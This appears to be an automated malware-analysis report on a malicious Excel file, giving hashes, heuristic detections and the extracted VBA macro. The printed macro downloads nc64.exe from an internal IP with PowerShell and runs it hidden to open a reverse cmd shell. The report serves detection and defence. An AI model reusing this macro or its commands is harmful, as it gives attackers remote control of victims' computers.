Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a996aebd72303dd7…

MALICIOUS

Office (OOXML)

18.7 KB Created: 2021-02-04 00:05:50 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-02-20
MD5: 6b3ac430d76583632ebe47e10e54d263 SHA-1: 8137da683ac2c0f725a4493cccd307f24f9b6df1 SHA-256: a996aebd72303dd7343083038640c4c233eee9edbc48afc721e526368c53fe17
222 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set WshShell = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    strCommand = "Powershell echo you are hack !!!"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WshShell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://172.29.31.87:5030/nc64.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1307 bytes
SHA-256: 04a81a8f08841386ba80d80caa7acb449dfb2c74ea2802a917d8ae2b805b9c4f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub jcjung1()

strCommand = "Powershell echo you are hack !!!"
strCommand2 = "powershell Invoke-WebRequest -Uri http://172.29.31.87:5030/nc64.exe -OutFile C:\Windows\Temp\nc64.exe"
strCommand3 = "Powershell -executionpolicy bypass -WindowStyle hidden ""C:\Windows\Temp\nc64.exe 172.29.31.87 5031 -e cmd"""
Set WshShell = CreateObject("WScript.Shell")
Set WshShellExec = WshShell.Exec(strCommand)
Set WshShellExec2 = WshShell.Exec(strCommand2)
Do While WshShellExec2.Status = 0
     Application.Wait (Now() + TimeValue("0:00:5"))
Loop
Set WshShellExec3 = WshShell.Exec(strCommand3)
strOutput = WshShellExec.StdOut.ReadAll
MsgBox strOutput
End Sub

Attribute VB_Name = "현재_통합_문서"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17920 bytes
SHA-256: 587ba8f44c7351ac2eb5479d7229b9744142e42a8c31b3295b49f5647882f7c5

Open this report in the interactive analyzer, or submit your own file for analysis.